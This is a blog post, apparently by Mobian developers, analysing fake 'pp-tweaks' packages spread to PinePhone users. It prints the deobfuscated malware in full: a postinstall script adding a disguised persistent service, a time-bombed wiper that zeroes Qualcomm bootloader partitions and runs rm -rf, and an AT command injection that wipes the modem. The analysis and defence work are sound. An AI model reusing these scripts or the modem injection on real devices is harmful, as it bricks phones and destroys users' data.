Script kiddy strikes back
As you may be aware, a malicious person tried to spread malware through many Matrix rooms used by mobile Linux users and developers, partly taking advantage of a known vulnerability in the stock modem firmware. Here’s a quick analysis of how this malware was supposed to operate.
Disclaimer: while being enthusiastic nerds, none of the Mobian developers is a security expert. We hope this post will provide interesting information to the community but it shouldn’t be considered an exhaustive security report.
Please also note this was by no means a Mobian-only effort: in this post, we’re reporting the findings of the mobile Linux community as a whole, not claiming we did it all by ourselves.
A bit of context
The malware was uploaded to Matrix chat rooms in the form of an installable binary package:
.apk
for postmarketOS.deb
for Mobian.pkg.tar.zst
for Arch/Manjaro
Multiple variants were posted such as coathanger
or pp-tweaks
but, a few
cosmetic differences aside, they all work in the same way and embed the same
malicious payload. In the rest of this post, we’ll take a closer look at the
.deb
package (obviously) of the pp-tweaks
variant.
This file is an actual package suitable for installation using dpkg
or apt
.
Its package metadata look valid and contain the following description:
Description: Tweaks for PinePhone and PinePhone Pro as well as various other
devices such as the Oneplus 6 and the Poco F1
Although it’s obvious that the package has been handcrafted rather than
generated using the usual Debian packaging tools (no checksums included in the
package metadata, for example), and except for the contents of the
Maintainer
field (layla289
, maybe an
Eric Clapton fan?), the package doesn’t
look harmful at this point.
The following files are installed from this package:
/usr/bin/pp-tweaks-gtk
/usr/lib/pp-tweaks-postinstall
It also contains the following post-install script, automatically run by dpkg
once the package files have been installed to the system:
#!/bin/sh
/usr/lib/pp-tweaks-postinstall
exit 0
While it’s not unusual for a Debian package to contain such a script, having it
run only a newly installed executable is rather strange, especially if said
executable is sitting in /usr/lib
! The malware is therefore meant to operate
that way:
- user invokes
sudo dpkg -i pp-tweaks.deb
, grantingdpkg
root permissions (this is required, otherwise it won’t be able to copy files to the target directories) dpkg
extracts the files and runs the post-install script, which also has root privilegespp-tweaks-postinstall
is executed, obviously still with root privileges
The actual malware is therefore pp-tweaks-postinstall
, pp-tweaks-gtk
being probably just a distraction. However, the latter could give us useful
information while being presumably safer to run, in case it can run at all.
Initial static analysis
Unix systems provide a number of useful commands by default, in particular:
file
gives us information about the type of a given filestrings
extracts all human-readable character strings from a binary file
In the case of pp-tweaks-*
, file
outputs the following:
pp-tweaks-gtk: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux),
statically linked, no section header
The files are statically linked so they don’t depend on libraries of the host system. This allows this binary to be executed on any ARM64 Linux device, no matter which distribution it runs.
Running strings
reveals the following, among other things:
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
We now know that those files are auto-extractible executables compressed using UPX. We can easily extract those by installing the appropriate software and can discover the resulting executables are also ARM64 ELF files, statically linked and stripped (all debug information removed, make them lighter but also more difficult to reverse-engineer).
strings
doesn’t find anything of interest this time, but other variants
contain the following noteworthy strings:
- in
coathanger-gtk
:
purism still haven't refunded or shipped my librem 5.
diana, if you're reading this (which could be possible) i have to say that i love you!
- in
coathanger-postinstall
:
i just want to say i love you diana!
purism why do you steal our money and run away with it?? refund our money or at least ship a development phone instead of nothing!!
Like us, you’re probably dying to know this Diana, but sadly we doubt that this will ever happen.
Some of our developers put out the big guns and decided to reverse-engineer the binaries1 using ghidra, which unfortunately didn’t bring any conclusive result, except for a growing perplexity when being faced with some of the algorithms appearing in those files.
Livin’ on the edge
In order to analyze more thoroughly the behaviour of those binaries, some of us took the calculated risk of running them in a controlled environment. The PinePhone can easily provide such an environment when you have a spare device, as many developers do:
- wipe clean the internal eMMC
- switch off all radios and peripheral hardware (4G modem, WiFi/Bluetooth, cameras) killswitches so all sensitive parts are physically disabled and login via UART/serial console is enabled, resulting in an effectively air-gapped device and suitable testing environment
- flash an SD card with a new OS image and transfer the binary files onto it before booting the SD
Running pp-tweaks-gtk
brings the following result:
mobian@mobian:~$ ./pp-tweaks-gtk
./pp-tweaks-gtk: 6: ldconfig: not found
./pp-tweaks-gtk: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared
object file: No such file or directory
Oddly enough, the static binary seems to try loading a shared library (which
is exactly what static binaries never normally do). Faced with this weird
behavior, we wanted to trace system calls, in case something interesting would
pop up. At first sight, nothing noteworthy appears from executing
strace ./pp-tweaks-gtk
However, the last few lines reveal interesting things:
write(1, "./pp-tweaks-gtk: error while loa"..., 132) = 132
exit_group(0) = ?
+++ exited with 0 +++
write()
is called on file descriptor 1, which is the convention for
stdout
(standard output), whereas error message are usually directed to fd
2 (stderr
, or standard error). Likewise, the program exits with code 0
,
which is the convention for “this program completed its task succesfully and
didn’t encounter any major issue”.
This calls for a closer look, and we end up spotting the following suspicious line:
execve("/bin/sh", ["./pp-tweaks-gtk", "-c", " "...,
"./pp-tweaks-gtk"], 0x7ffc53a1d8 /* 28 vars */) = 0
In particular, " "...
refers to a string
beginning with many whitespaces, truncated (by strace
) for being too long.
Re-running strace
with the -s 10240
option (don’t truncate strings under
10K characters) gives us the following (removed most of the initial whitespaces
and added newlines for clarity):
execve("/bin/sh", ["./pp-tweaks-gtk", "-c", " ...(many many whitespaces)...
#!/bin/sh\n\nmsgcode1=\"i just want to say that i love my gf\"\nmsgco
de2=\"purism why you still have not shipped the librem 5??? stop maki
ng money and ship your fucking phones!!!!\"\n\nif ldconfig -p | grep
-q libgtk-x11-2.0.so\nthen\n\techo \"$0: error while loading shared l
ibraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24
\"\nelse\n\techo \"$0: error while loading shared libraries: libgtk-x
11-2.0.so: cannot open shared object file: No such file or directory\
"\nfi\n", "./pp-tweaks-gtk"], 0x7fd44fc6a8 /* 28 vars */) = 0
This strace “signature” is a characteristic of executables created by
shc, a utility designed for embedding shell
scripts into executable binary files. shc
encrypts the script using the RC4
algorithm before embedding it into C code, effectively turning the clear-text
script into (seemingly) meaningless binary data. This explains why we weren’t
able to extract it using strings
.
So in the end, pp-tweaks-gtk
simply executes a shell script embedded (and
obfuscated) inside the binary itself! Here’s the script in question:
#!/bin/sh
msgcode1="i just want to say that i love my gf"
msgcode2="purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!"
if ldconfig -p | grep -q libgtk-x11-2.0.so
then
echo "$0: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: Error 24"
else
echo "$0: error while loading shared libraries: libgtk-x11-2.0.so: cannot open shared object file: No such file or directory"
fi
Oh, hello again, angry Romeo!
So what this script does is pretty simple: it prints what appears to be an
error message (while it’s only what the program is meant to do) in order to
fool the victim. Thankfully, while being a good example of poorly engineered
software, this little script can’t do any harm, even if it were run as root
.
The other executable, however, is way more evil…
Main course
By doing the same on pp-tweaks-postinstall
(but with -s 10000000
as the script
is waaay bigger here), we can extract the following script:
#!/bin/sh
echo "Enabling tweaks daemon"
mkdir -p /usr/lib/gtk-3.0
echo "<376k base64-encoded data>" | base64 -d > /usr/lib/gtk-3.0/gtk-helper
chmod +x /usr/lib/gtk-3.0/gtk-helper
# systemd
if [ -f /usr/lib/systemd/systemd ]; then
mkdir -p /usr/lib/systemd/system
cat > /usr/lib/systemd/system/polkilt.service <<EOF
[Unit]
Description=Authorization Manager
Documentation=man:polkit(8)
[Service]
Type=simple
ExecStart=/usr/lib/gtk-3.0/gtk-helper
[Install]
WantedBy=multi-user.target
EOF
systemctl enable polkilt.service > /dev/null 2>&1
fi
if [ -f /etc/inittab ]; then
echo "tty9::respawn:/usr/lib/gtk-3.0/gtk-helper" >> /etc/inittab
fi
This script creates an executable called /usr/lib/gtk-3.0/gtk-helper
and makes sure this executable is run on startup after each reboot.
Another variant uses the --now
option to systemctl enable
, so the
binary is started immediately (otherwise it won’t start until the user
reboots).
This executable is, once again, a UPX-compressed file we can strace
in order to retrieve the final script:
#!/bin/sh
msgcode1="i just want to say that i love my gf"
msgcode2="purism why you still have not shipped the librem 5??? stop making money and ship your fucking phones!!!!"
while [ "$(date +)" -lt "$(date --date="2022-02-07T03:00:00" +)" ]; do
sleep 60
done
if [ "$(date +)" -gt "$(date --date="2022-02-07T03:00:00" +)" ]; then
if [ -e /dev/ttyUSB2 ]; then
{ eval "$(echo "ZWNobyAtZSBBVCtRRlVNT0NGRz1cImRtYWNjXCIsXCJcYHNoIC1jIFwncm0gLXJmIC9cKlwnXGBcIlxcclxcbiA+IC9kZXYvdHR5VVNCMg==" | base64 -d)"; } &
fi
# remove qualcomm s/xbl
for i in /dev/disk/by-partlabel/xbl*
do
[ -e "$i" ] || break
dd if=/dev/zero of=/dev/disk/by-partlabel/"$i" || true
done
for i in /dev/disk/by-partlabel/sbl*
do
[ -e "$i" ] || break
dd if=/dev/zero of=/dev/disk/by-partlabel/"$i" || true
done
# shellcheck disable=SC2115
rm -rf /*
fi
The first part is a wait loop: for some reason, the author wants its malware to wait until 3am on Feb 7th before doing anything harmful.
Past this date, it checks if there’s a /dev/ttyUSB2
device (one of the ports
exposed by the PinePhone’s modem, which can be used to send AT commands to the
modem), in which case another piece of obfuscated (base64-encoded) code is
executed. This data decodes into the following command:
echo -e AT+QFUMOCFG=\"dmacc\",\"\`sh -c \'rm -rf /\*\'\`\"\\r\\n > /dev/ttyUSB2
This command basically executes the following on the modem, wiping out all data:
sh -c 'rm -rf /*'
The goal here is obviously to brick the modem to the point where it needs to be manually put into EDL mode (by shorting 2 test points on the PinePhone’s main board) in order to be reflashed.
The next lines are even more vicious to some users: they clear any partition
which name starts with xbl
or sbl
. Those partitions can be present on
Qualcomm-based devices such as the OnePlus 6 or Pocophone F1. On those devices,
the bootloader(s) are closed-source, signed binaries installed on dedicated
partitions. Depending on the exact SoC used, those partitions can have various
names, for example here are the relevant ones from the OnePlus 6:
xbl_a
andxbl_b
: Qualcomm’s UEFI bootloader, sets up secure boot and loads the next element in the boot chainabl_a
andabl_b
: Android bootloader (UEFI application executed by XBL), loads and boots the kernel
Deleting those partitions would therefore make the phone unable to boot at all, likely ending up permanently bricking the device.
Notes:
- devices using a different Qualcomm SoC will likely have different booloaders, just keep in mind those components are required for the device to boot at all
- the OnePlus 6 uses an A/B partition scheme, devices not implementing this
feature will present the same partitions, minus the
_a
and_b
suffixes sbl
partitions are not present on the OnePlus 6 but can exist on devices with a different Qualcomm SoC
Finally, the script (tries to) delete the whole system currently running on the phone.
Why it doesn’t work
This malware has obviously not been really tested and exhibits a major flaw:
the multiple levels of encapsulation (a shell script converted to an executable
binary using shc
, then encoded into base64 and included into another script,
again converted to an executable binary) lead to a very large payload in
pp-tweaks-postinstall
. When executed, it exits with the following error:
mobian@mobian:~$ ./pp-tweaks-postinstall
./pp-tweaks-postinstall: Argument list too long: /bin/sh
This means the malware (/usr/lib/gtk-3.0/gtk-helper
) cannot be extracted nor
installed, and so shouldn’t cause any trouble.
Warning: this stunt has been performed by trained and experienced developers, don’t try this at home!
Conclusion
This malware is nothing more than an angry script-kiddy trying to clumsily exploit a known security vulnerability. The techniques used are rather basic and the lack of proper testing basically voids the whole effort.
This attempt fuels the often-heard advice that one shouldn’t blindly accept gifts from strangers, which proves even more true when dealing with software. Protecting oneself from such “attacks” is, in the end, as simple as following those rules:
- never run a program from an unknown source, unless a trustworthy entity had a chance to analyze its source code and check it would indeed perform the function it’s advertised for without causing any harm to the user or its system
- by extension, never install a package from an unknown and/or untrusted source
- do not execute any software as
root
unless you’re absolutely convinced it can be trusted
This episode also emphasizes the lack of diligence from Quectel in fixing a known vulnerability. Thankfully, the community (personified in this case by @biktorgj) has developed an alternative firmware for the modem used by both the PinePhone and PinePhone Pro, in which this vulnerability has been patched out.
One question remains, though: who the hell is this Diana?